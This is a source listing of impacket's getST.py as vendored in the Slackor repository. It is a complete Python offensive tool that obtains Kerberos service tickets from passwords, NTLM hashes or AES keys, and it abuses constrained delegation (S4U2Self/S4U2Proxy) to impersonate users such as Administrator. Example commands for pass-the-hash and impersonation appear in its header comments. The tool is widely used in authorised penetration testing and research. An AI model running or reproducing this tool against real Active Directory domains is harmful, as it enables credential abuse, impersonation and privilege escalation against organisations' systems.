github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/getST.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Author:
     9  #  Alberto Solino (@agsolino)
    10  #
    11  # Description:
    12  #    Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache
    13  #    If the account has constrained delegation (with protocol transition) privileges you will be able to use
    14  #    the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to
    15  #    request the ticket.)
    16  #
    17  #    Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u)
    18  #
    19  # Examples:
    20  #
    21  #         ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user
    22  # or
    23  # If you have tickets cached (run klist to verify) the script will use them
    24  #         ./getST.py -k -spn cifs/contoso-dc contoso.com/user
    25  # Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets
    26  # by default.
    27  #
    28  # Also, if the account is configured with constrained delegation (with protocol transition) you can request
    29  # service tickets for other users, assuming the target SPN is allowed for delegation:
    30  #         ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user
    31  #
    32  # The output of this script will be a service ticket for the Administrator user.
    33  #
    34  # Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit.
    35  #
    36  from __future__ import division
    37  from __future__ import print_function
    38  import argparse
    39  import datetime
    40  import logging
    41  import os
    42  import random
    43  import struct
    44  import sys
    45  from binascii import unhexlify
    46  from six import b
    47  
    48  from pyasn1.codec.der import decoder, encoder
    49  from pyasn1.type.univ import noValue
    50  
    51  from impacket import version
    52  from impacket.examples import logger
    53  from impacket.krb5 import constants
    54  from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
    55      Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS
    56  from impacket.krb5.ccache import CCache
    57  from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
    58  from impacket.krb5.kerberosv5 import getKerberosTGS
    59  from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
    60  from impacket.krb5.types import Principal, KerberosTime, Ticket
    61  from impacket.winregistry import hexdump
    62  
    63  
    64  class GETST:
    65      def __init__(self, target, password, domain, options):
    66          self.__password = password
    67          self.__user= target
    68          self.__domain = domain
    69          self.__lmhash = ''
    70          self.__nthash = ''
    71          self.__aesKey = options.aesKey
    72          self.__options = options
    73          self.__kdcHost = options.dc_ip
    74          self.__saveFileName = None
    75          if options.hashes is not None:
    76              self.__lmhash, self.__nthash = options.hashes.split(':')
    77  
    78      def saveTicket(self, ticket, sessionKey):
    79          logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
    80          ccache = CCache()
    81  
    82          ccache.fromTGS(ticket, sessionKey, sessionKey)
    83          ccache.saveFile(self.__saveFileName + '.ccache')
    84  
    85      def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost):
    86          decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
    87  
    88          # Extract the ticket from the TGT
    89          ticket = Ticket()
    90          ticket.from_asn1(decodedTGT['ticket'])
    91  
    92          apReq = AP_REQ()
    93          apReq['pvno'] = 5
    94          apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
    95  
    96          opts = list()
    97          apReq['ap-options'] =  constants.encodeFlags(opts)
    98          seq_set(apReq,'ticket', ticket.to_asn1)
    99  
   100          authenticator = Authenticator()
   101          authenticator['authenticator-vno'] = 5
   102          authenticator['crealm'] = str(decodedTGT['crealm'])
   103  
   104          clientName = Principal()
   105          clientName.from_asn1( decodedTGT, 'crealm', 'cname')
   106  
   107          seq_set(authenticator, 'cname', clientName.components_to_asn1)
   108  
   109          now = datetime.datetime.utcnow()
   110          authenticator['cusec'] = now.microsecond
   111          authenticator['ctime'] = KerberosTime.to_asn1(now)
   112  
   113          if logging.getLogger().level == logging.DEBUG:
   114              logging.debug('AUTHENTICATOR')
   115              print(authenticator.prettyPrint())
   116              print ('\n')
   117  
   118          encodedAuthenticator = encoder.encode(authenticator)
   119  
   120          # Key Usage 7
   121          # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
   122          # TGS authenticator subkey), encrypted with the TGS session
   123          # key (Section 5.5.1)
   124          encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
   125  
   126          apReq['authenticator'] = noValue
   127          apReq['authenticator']['etype'] = cipher.enctype
   128          apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
   129  
   130          encodedApReq = encoder.encode(apReq)
   131  
   132          tgsReq = TGS_REQ()
   133  
   134          tgsReq['pvno'] =  5
   135          tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
   136  
   137          tgsReq['padata'] = noValue
   138          tgsReq['padata'][0] = noValue
   139          tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
   140          tgsReq['padata'][0]['padata-value'] = encodedApReq
   141  
   142          # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
   143          # requests a service ticket to itself on behalf of a user. The user is
   144          # identified to the KDC by the user's name and realm.
   145          clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
   146  
   147          S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
   148          S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
   149  
   150          if logging.getLogger().level == logging.DEBUG:
   151              logging.debug('S4UByteArray')
   152              hexdump(S4UByteArray)
   153  
   154          # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
   155          # with the following three parameters: the session key of the TGT of
   156          # the service performing the S4U2Self request, the message type value
   157          # of 17, and the byte array S4UByteArray.
   158          checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
   159  
   160          if logging.getLogger().level == logging.DEBUG:
   161              logging.debug('CheckSum')
   162              hexdump(checkSum)
   163  
   164          paForUserEnc = PA_FOR_USER_ENC()
   165          seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
   166          paForUserEnc['userRealm'] = self.__domain
   167          paForUserEnc['cksum'] = noValue
   168          paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
   169          paForUserEnc['cksum']['checksum'] = checkSum
   170          paForUserEnc['auth-package'] = 'Kerberos'
   171  
   172          if logging.getLogger().level == logging.DEBUG:
   173              logging.debug('PA_FOR_USER_ENC')
   174              print(paForUserEnc.prettyPrint())
   175  
   176          encodedPaForUserEnc = encoder.encode(paForUserEnc)
   177  
   178          tgsReq['padata'][1] = noValue
   179          tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
   180          tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
   181  
   182          reqBody = seq_set(tgsReq, 'req-body')
   183  
   184          opts = list()
   185          opts.append( constants.KDCOptions.forwardable.value )
   186          opts.append( constants.KDCOptions.renewable.value )
   187          opts.append( constants.KDCOptions.canonicalize.value )
   188  
   189          reqBody['kdc-options'] = constants.encodeFlags(opts)
   190  
   191          serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
   192  
   193          seq_set(reqBody, 'sname', serverName.components_to_asn1)
   194          reqBody['realm'] = str(decodedTGT['crealm'])
   195  
   196          now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
   197  
   198          reqBody['till'] = KerberosTime.to_asn1(now)
   199          reqBody['nonce'] = random.getrandbits(31)
   200          seq_set_iter(reqBody, 'etype',
   201                        (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
   202  
   203          if logging.getLogger().level == logging.DEBUG:
   204              logging.debug('Final TGS')
   205              print(tgsReq.prettyPrint())
   206  
   207          logging.info('\tRequesting S4U2self')
   208          message = encoder.encode(tgsReq)
   209  
   210          r = sendReceive(message, self.__domain, kdcHost)
   211  
   212          tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
   213  
   214          if logging.getLogger().level == logging.DEBUG:
   215              logging.debug('TGS_REP')
   216              print(tgs.prettyPrint())
   217  
   218          ################################################################################
   219          # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
   220          # So here I have a ST for me.. I now want a ST for another service
   221          # Extract the ticket from the TGT
   222          ticketTGT = Ticket()
   223          ticketTGT.from_asn1(decodedTGT['ticket'])
   224  
   225          ticket = Ticket()
   226          ticket.from_asn1(tgs['ticket'])
   227  
   228          apReq = AP_REQ()
   229          apReq['pvno'] = 5
   230          apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
   231  
   232          opts = list()
   233          apReq['ap-options'] =  constants.encodeFlags(opts)
   234          seq_set(apReq,'ticket', ticketTGT.to_asn1)
   235  
   236          authenticator = Authenticator()
   237          authenticator['authenticator-vno'] = 5
   238          authenticator['crealm'] = str(decodedTGT['crealm'])
   239  
   240          clientName = Principal()
   241          clientName.from_asn1( decodedTGT, 'crealm', 'cname')
   242  
   243          seq_set(authenticator, 'cname', clientName.components_to_asn1)
   244  
   245          now = datetime.datetime.utcnow()
   246          authenticator['cusec'] = now.microsecond
   247          authenticator['ctime'] = KerberosTime.to_asn1(now)
   248  
   249          encodedAuthenticator = encoder.encode(authenticator)
   250  
   251          # Key Usage 7
   252          # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
   253          # TGS authenticator subkey), encrypted with the TGS session
   254          # key (Section 5.5.1)
   255          encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
   256  
   257          apReq['authenticator'] = noValue
   258          apReq['authenticator']['etype'] = cipher.enctype
   259          apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
   260  
   261          encodedApReq = encoder.encode(apReq)
   262  
   263          tgsReq = TGS_REQ()
   264  
   265          tgsReq['pvno'] = 5
   266          tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
   267          tgsReq['padata'] = noValue
   268          tgsReq['padata'][0] = noValue
   269          tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
   270          tgsReq['padata'][0]['padata-value'] = encodedApReq
   271  
   272          # Add resource-based constrained delegation support
   273          paPacOptions = PA_PAC_OPTIONS()
   274          paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
   275  
   276          tgsReq['padata'][1] = noValue
   277          tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
   278          tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
   279  
   280          reqBody = seq_set(tgsReq, 'req-body')
   281  
   282          opts = list()
   283          # This specified we're doing S4U
   284          opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
   285          opts.append(constants.KDCOptions.canonicalize.value)
   286          opts.append(constants.KDCOptions.forwardable.value)
   287          opts.append(constants.KDCOptions.renewable.value)
   288  
   289          reqBody['kdc-options'] = constants.encodeFlags(opts)
   290          service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
   291          seq_set(reqBody, 'sname', service2.components_to_asn1)
   292          reqBody['realm'] = self.__domain
   293  
   294          myTicket = ticket.to_asn1(TicketAsn1())
   295          seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
   296  
   297          now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
   298  
   299          reqBody['till'] = KerberosTime.to_asn1(now)
   300          reqBody['nonce'] = random.getrandbits(31)
   301          seq_set_iter(reqBody, 'etype',
   302                           (
   303                               int(constants.EncryptionTypes.rc4_hmac.value),
   304                               int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
   305                               int(constants.EncryptionTypes.des_cbc_md5.value),
   306                               int(cipher.enctype)
   307                           )
   308                       )
   309          message = encoder.encode(tgsReq)
   310  
   311          logging.info('\tRequesting S4U2Proxy')
   312          r = sendReceive(message, self.__domain, kdcHost)
   313  
   314          tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
   315  
   316          cipherText = tgs['enc-part']['cipher']
   317  
   318          # Key Usage 8
   319          # TGS-REP encrypted part (includes application session
   320          # key), encrypted with the TGS session key (Section 5.4.2)
   321          plainText = cipher.decrypt(sessionKey, 8, cipherText)
   322  
   323          encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
   324  
   325          newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
   326  
   327          # Creating new cipher based on received keytype
   328          cipher = _enctype_table[encTGSRepPart['key']['keytype']]
   329  
   330          return r, cipher, sessionKey, newSessionKey
   331  
   332      def run(self):
   333  
   334          # Do we have a TGT cached?
   335          tgt = None
   336          try:
   337              ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
   338              logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
   339              principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper())
   340              creds = ccache.getCredential(principal)
   341              if creds is not None:
   342                  # ToDo: Check this TGT belogns to the right principal
   343                  TGT = creds.toTGT()
   344                  tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
   345                  oldSessionKey = sessionKey
   346                  logging.info('Using TGT from cache')
   347              else:
   348                  logging.debug("No valid credentials found in cache. ")
   349          except:
   350              # No cache present
   351              pass
   352  
   353          if tgt is None:
   354              # Still no TGT
   355              userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
   356              logging.info('Getting TGT for user')
   357              tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
   358                                                                      unhexlify(self.__lmhash), unhexlify(self.__nthash),
   359                                                                      self.__aesKey,
   360                                                                      self.__kdcHost)
   361  
   362          # Ok, we have valid TGT, let's try to get a service ticket
   363          if self.__options.impersonate is None:
   364              # Normal TGS interaction
   365              logging.info('Getting ST for user')
   366              serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
   367              tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)
   368              self.__saveFileName = self.__user
   369          else:
   370              # Here's the rock'n'roll
   371              try:
   372                  logging.info('Impersonating %s' % self.__options.impersonate)
   373                  tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, self.__kdcHost)
   374              except Exception as e:
   375                  logging.debug("Exception", exc_info=True)
   376                  logging.error(str(e))
   377                  if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
   378                      logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)
   379                  if str(e).find('KDC_ERR_BADOPTION') >= 0:
   380                      logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)
   381  
   382                  return
   383              self.__saveFileName = self.__options.impersonate
   384  
   385          self.saveTicket(tgs,oldSessionKey)
   386  
   387  if __name__ == '__main__':
   388      # Init the example's logger theme
   389      logger.init()
   390      print(version.BANNER)
   391  
   392      parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
   393                                                                  "TGT and save it as ccache")
   394      parser.add_argument('identity', action='store', help='[domain/]username[:password]')
   395      parser.add_argument('-spn', action="store", required=True,  help='SPN (service/server) of the target service the '
   396                                                                       'service ticket will' ' be generated for')
   397      parser.add_argument('-impersonate', action="store",  help='target username that will be impersonated (thru S4U2Self)'
   398                                                                ' for quering the ST. Keep in mind this will only work if '
   399                                                                'the identity provided in this scripts is allowed for '
   400                                                                'delegation to the SPN specified')
   401      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   402  
   403      group = parser.add_argument_group('authentication')
   404  
   405      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
   406      group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
   407      group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
   408                         '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
   409                         'ones specified in the command line')
   410      group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
   411                                                                              '(128 or 256 bits)')
   412      group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
   413                         'ommited it use the domain part (FQDN) specified in the target parameter')
   414  
   415      if len(sys.argv)==1:
   416          parser.print_help()
   417          print("\nExamples: ")
   418          print("\t./getTGT.py -hashes lm:nt contoso.com/user\n")
   419          print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked")
   420          sys.exit(1)
   421  
   422      options = parser.parse_args()
   423  
   424      if options.debug is True:
   425          logging.getLogger().setLevel(logging.DEBUG)
   426      else:
   427          logging.getLogger().setLevel(logging.INFO)
   428  
   429  
   430      import re
   431      domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups(
   432          '')
   433  
   434      try:
   435          if domain is None:
   436              logging.critical('Domain should be specified!')
   437              sys.exit(1)
   438  
   439          if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
   440              from getpass import getpass
   441              password = getpass("Password:")
   442  
   443          if options.aesKey is not None:
   444              options.k = True
   445  
   446          executer = GETST(username, password, domain, options)
   447          executer.run()
   448      except Exception as e:
   449          if logging.getLogger().level == logging.DEBUG:
   450              import traceback
   451              traceback.print_exc()
   452          print(str(e))